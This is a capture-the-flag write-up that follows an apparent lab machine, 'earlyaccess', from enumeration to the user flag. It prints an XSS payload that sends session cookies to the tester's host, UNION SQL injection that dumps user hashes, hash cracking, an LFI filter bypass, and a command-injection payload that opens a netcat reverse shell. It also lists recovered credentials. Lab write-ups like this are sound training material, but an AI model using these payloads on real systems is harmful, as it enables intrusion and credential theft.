Enumeration
While trying to enumerate I got the following message. So we have to perform a slower enumeration.
You are banned! Our WAF detected suspicious traffic coming from your IP! You are temporarily banned from accessing the webpage for one minute.
We can read in the forum the following:
Support 10 hours ago
Hello 3lit3H4kr,
Thank you for reaching out to us.
Due to the high load of traffic our Game-Key verification-API is currently experiencing issues. We are implementing a solution to fallback to manual verification by the support staff.
Please use the contact form to privately contact an administrative user and send the Game-Key for manual verification. We are incredibly sorry for the inconvenience this has caused you. We are doing our best to resolve this issue promptly.
Take care, your Support-Team
Also, there is another issue saying that invalid usernames are only handled on register.
Thank you for reaching out to us.
Our internal team has already added this to our Bug-Tracker and is currently working on resolving this issue permanently. For now, a temporary fix was issued that prevents creation of accounts with invalid usernames. (Your account is also affected by this change!)
We are incredibly sorry for the inconvenience this has caused and will update you as soon as we have resolved this problem. Please feel welcome to reach out to us with any further questions you may as we would be more than happy to help.
Getting the foothold
We can try to change our name to <script>alert("test")</script>
and
send an email with subject and body also with alerts. Once it is sent,
we will get the alert when inspecting the message.
Sessions are stored in a simple cookie called earlyaccess_session
. We
can try to hijack the cookie of the admin account. Let’s set our name
to:
<script>
document.location = "http://10.10.14.81:8080/?" + document.cookie;
</script>
We will get the following in our http server:
10.10.11.110 - - [02/Dec/2021 12:10:31] "GET /?XSRF-TOKEN=eyJpdiI6IkVEU0gwZHdrWGtOVWJVTkl1eVg2eXc9PSIsInZhbHVlIjoiU1hOdXlNSVZvM0dkMkdvd0JMMUxTNVU2WHB1MWQxREJXSlFFbDcxR3hrUmpuQ0drN3h5SjNSUi9tZWZ4b25qSUxzZmNlTnUxMEd6OEhqdG5CMEhvZzhxSjRRWjhwOXhzMWoxSWJ2UFRtVUwvN1NOMk1FMkVFSnpiNjdBTTUxd0MiLCJtYWMiOiJhMTdhOWUxYmU2ZTVjY2VmODIyNjI0ZjNjOTM4ZTdlNDkxNjkyZWM3NGYyODk2NWFiMzgyZjUyOWIxZmNjM2U4In0%3D;%20earlyaccess_session=eyJpdiI6Ikpza3pGZHRqTUpkVUxYMnNJdURRalE9PSIsInZhbHVlIjoiclRVTHVFNmVUWGt1NDVDWUZ6dGxqbUFSYkYwYWc1YW00eHdtZjNJZUxwUWxnSkFtbThyMEV6OXZoK3VsR0RWWGJucVN3YmpOSm94WUdNOVFicC9WMTRubS9qQzlqSlV6NHJ3WE0wZzlXanZzM2JrWjVJY2wyVmloSHl2eFJSa0kiLCJtYWMiOiJjYjY3MGE0ZjExYjM2YTI5Mzg3ZWNmY2JlZWE4MTAwYzg1NGQ1OTA0MmUzYTMwNzljYTFmYzgxNGQyMjYwNGNhIn0%3D HTTP/1.1" 200 -
If we change our earlyaccess_session
to the one we retrieved,
we are now logged in as admin.
In the admin page you can download a backup of the key validator. There
are also two subdomains: dev
and game
.
If we look into the key validator code, we see the following:
magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)
So keys are validated using a magic number which is given by the server. I’ve tried to get it from https://earlyaccess.htb/key/magic_num, but that is not the endpoint. So we will have to fuzz it.
Let’s implement first the key generator. After some time reading the code, the key is divided in 4 parts and a checksum. Most of the parts can be fixed, so we have to generate keys in the form of:
KEY98-AZAZ2-XP???-GAML8-...
Where the ???
part may be any combination of 2 letters and 1 number which follow the g3
expression, which uses the magic number. I used the following to generate it:
def gen_g3(magic_num) -> str:
for i in letters:
for j in letters:
for n in string.digits:
s = sum(bytearray(('XP' + ''.join([i,j,n])).encode()))
if s == magic_num:
return 'XP' + ''.join([i,j,n])
The last part is simply computed after generating all the previous parts. We will have to fuzz all the possible magic_num
verifying the key in the /key/verify
endpoint, as we can’t know this number.
Once we got a key for the game, we can now go back to our user account and activate it. After this, we will be able to enter the game. In this case, it is using php.
We can see the leaderboard they were talking about in the forums. And yes, if we change our profile name to a single quote we get the following error in the scoreboard:
Error
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') ORDER BY scoreboard.score DESC LIMIT 11' at line 1
According to the error given, we can’t replace the SQL request. But we can perform UNION SQL injection to get results:
') UNION SELECT * FROM scoreboard; --
We just need to show only the same number of columns in the table:
') UNION SELECT 1,2,3 FROM scoreboard; --
Username Score Time
3 1 2
Now that we know it works and it is a MySQL
database, we can get the table names from the information_schema
table.
') UNION SELECT 1, table_name, 1 FROM information_schema.tables; --
Username Score Time
1 1 failed_logins
1 1 scoreboard
1 1 users
We can now do the same with the columns of the table users
.
') UNION SELECT 1, column_name, 1 FROM information_schema.columns WHERE TABLE_NAME = 'users'; --
Username Score Time
1 1 id
1 1 name
1 1 email
1 1 password
1 1 role
1 1 key
1 1 created_at
1 1 updated_at
And simply dump the important fields:
') UNION SELECT email, role, password FROM users; --
Username Score Time
618292e936625aca8df61d5fff5c06837c49e491 admin@earlyaccess.htb admin
d997b2a79e4fc48183f59b2ce1cee9da18aa5476 chr0x6eos@earlyaccess.htb user
584204a0bbe5e392173d3dfdf63a322c83fe97cd firefart@earlyaccess.htb user
290516b5f6ad161a86786178934ad5f933242361 farbs@earlyaccess.htb user
4c900fbf77c0222faddb3b648b876e32cb723a04 test@test.com user
And we dumped the users!
We can decode this hash using SHA1 type (code 100).
hashcat hash.txt /usr/share/dict/rockyou.txt -D 1 -m 100
The decrypted password gameover
.
Now we can login to the page with admin@earlyaccess.htb:gameover
credentials. Also to the dev
subdomain we couldn’t access before.
The hashing page looks useless, but the File-Tools one seems promising. Although, there is no visible endpoint so we may have to look for it.
The hashing page sends a request to /actions/hash.php
. So I guess it
will be in /actions/file.php
? We can send the same request of
Hash-Tools, but to the file.php
endpoint:
curl -X POST -v http://dev.earlyaccess.htb/actions/file.php \
-H 'Cookie: PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8' \
-d 'action=hash&redirect=true&password=test&hash_function=md5'
And it works! Well… there is an error, but now we know there is an endpoint there.
<h1>ERROR:</h1>Please specify file!%
We can try with POST parameters.
wfuzz -w /usr/share/dirbuster/parameter-names.txt \
-u http://dev.earlyaccess.htb/actions/file.php --hc 404 --hh 35 \
-b "PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8" \
-d "action=file&redirect=true&FUZZ=test"
Although, I didn’t get any result. After some time I decided to try with GET.
wfuzz -w /usr/share/dirbuster/parameter-names.txt \
-u 'http://dev.earlyaccess.htb/actions/file.php?FUZZ=test' --hc 404 --hh 35 \
-b "PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8"
And we get a result!
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001316: 500 0 L 2 W 32 Ch "filepath"
There is a filepath parameter. I thought it would be some file upload, but it seems like it will be some LFI.
If we try to enter a filepath with ..
, we get an error:
ERROR:
For security reasons, reading outside the current directory is prohibited!
I guess we can access the hash.php
file. We cannot traverse the path,
but I will try to fuzz for some files or weird configs.
wfuzz -w /usr/share/dirbuster/vulns/file_inclusion_linux.txt \
-u 'http://dev.earlyaccess.htb/actions/file.php?filepath=FUZZ' --hc 500 --hh 35 \
-b "PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8"
I got the following results:
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002179: 200 4 L 36 W 463 Ch "\xampp\phpmyadmin\phpinfo.php"
000002178: 200 4 L 36 W 472 Ch "\xampp\phpmyadmin\config.inc.php"
000002175: 200 4 L 36 W 463 Ch "\xampp\phpMyAdmin\phpinfo.php"
000002174: 200 4 L 36 W 472 Ch "\xampp\phpMyAdmin\config.inc.php"
000002192: 200 4 L 36 W 406 Ch "config.php"
000002221: 200 4 L 36 W 412 Ch "users.db.php"
000002210: 200 4 L 36 W 409 Ch "install.php"
000002198: 200 4 L 36 W 412 Ch "database.php"
000002199: 200 4 L 36 W 394 Ch "db.php"
000002195: 200 4 L 36 W 400 Ch "data.php"
000002190: 200 4 L 36 W 418 Ch "config.inc.php"
000002187: 200 4 L 36 W 409 Ch "_config.php"
But all are false positives. Well, at least we know the path has to end
in .php
.
We can try other techniques to bypass the restrictions for LFI. There is one that works:
?filepath=php://filter/convert.base64-encode/resource=hash.php
If we look closer at the code:
// DEVELOPER-NOTE: There has gotta be an easier way...
ob_start();
// Use inputted hash_function to hash password
$hash = @$hash_function($password);
Hahaha that developer note. If we try to change the inputted
hash_function
, we get an error:
Only MD5 and SHA1 are currently supported!
If we keep reading the code, this appears:
// Only allow custom hashes, if `debug` is set
if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
throw new Exception("Only MD5 and SHA1 are currently supported!");
Okay, so we can just set the debug parameter and run whatever function we want? Seems promising.
curl -X POST -v http://dev.earlyaccess.htb/actions/hash.php \
-H 'Cookie: PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8' \
-d 'action=hash&redirect=true&password=test&hash_function=asdf&debug=true'
We will get the following:
Stack trace:
#0 /var/www/earlyaccess.htb/dev/actions/hash.php(53): hash_pw('asdf', 'test')
#1 {main}
thrown in <b>/var/www/earlyaccess.htb/dev/actions/hash.php</b> on line <b>9</b><br />
So yeah, it is working that way.
curl -X POST -v http://dev.earlyaccess.htb/actions/hash.php -L \
-H 'Cookie: PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8' \
-d 'action=hash&redirect=true&password=whoami&hash_function=system&debug=true'
curl -X POST -v http://dev.earlyaccess.htb/actions/hash.php -L \
-H 'Cookie: PHPSESSID=8baffcc3aa52dbc5d891e66f37d4f1c8' \
-d 'action=hash&redirect=true&password=nc+10.10.14.81+6666+-e+/bin/bash&hash_function=system&debug=true'
And we will have a reverse shell!
www-data@webserver:/var/www/earlyaccess.htb/dev/actions$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root❌0:0:root:/root:/bin/bash
www-adm❌1000:1000::/home/www-adm:/bin/bash
Getting the user flag
We can change to user www-adm
using the admin password (gameover
).
In its home:
www-adm@webserver:~$ cat .wetrc
cat .wgetrc
user=api
password=s3CuR3_API_PW!
But it seems like we are not in the user yet…
www-adm@webserver:/var/www/html$ cat /etc/cron.daily/passwd
cat /etc/cron.daily/passwd
#!/bin/sh
cd /var/backups || exit 0
for FILE in passwd group shadow gshadow; do
test -f /etc/$FILE || continue
cmp -s $FILE.bak /etc/$FILE && continue
cp -p /etc/$FILE $FILE.bak && chmod 600 $FILE.bak
done
www-adm@webserver:/var/www/html/routes$ ps -e -o command
ps -e -o command
COMMAND
/bin/sh -c /root/entry.sh
/bin/sh /root/entry.sh
/usr/sbin/cron
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
apache2 -DFOREGROUND
sh -c nc 10.10.14.81 6666 -e /bin/bash
bash
python3 -c import pty; pty.spawn("/bin/bash")
/bin/bash
su www-adm
bash
apache2 -DFOREGROUND
ps -e -o command
Okay, so the api
service is not running in this machine. Also, we are not
able to use any network tools so we might be in a minimal system, such
as a container.
We can check if we are inside a container like this:
www-adm@webserver:/var/www/html/routes$ cat /proc/self/cgroup
cat /proc/self/cgroup
11:cpuset:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
10:pids:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
9:memory:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
8:cpu,cpuacct:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
7:blkio:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
6:net_cls,net_prio:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
5:perf_event:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
4:freezer:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
3:devices:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
2:rdma:/
1:name=systemd:/docker/6ee9f16fc8b07752dd80c894879cdbc7f08755bdaf91b44d5b6fa29b91d4612c
0::/system.slice/containerd.service
And we indeed are.
If we check /etc/hosts
, we see an entry for the webserver
. So the
API might be called api
or apiserver
?
We can wget to api
and the name will be resolved by Docker DNS:
wget api:5000
We get the following:
{"message":"Welcome to the game-key verification API! You can verify your keys via: /verify/<game-key>. If you are using manual verification, you have to synchronize the magic_num here. Admin users can verify the database using /check_db.","status":200}
By using the check_db
endpoint, we can see the logs of the
database. There is an interesting part, where some credentials are
stored:
"Env": [
"MYSQL_DATABASE=db",
"MYSQL_USER=drew",
"MYSQL_PASSWORD=drew",
"MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5",
"SERVICE_TAGS=dev",
"SERVICE_NAME=mysql",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.12",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.25-1debian10"
],
As we saw before in the original page, drew
has email
draw@earlyaccess.htb
, so he might be a user of the system. We can try
the usernames and passwords we got by now to try to get into the ssh.
And we can login with drew:XeoNu86JTznxMCQuGHrGutF3Csq5
to the ssh
endpoint. And now we can get the user flag! God it has been a really
long path.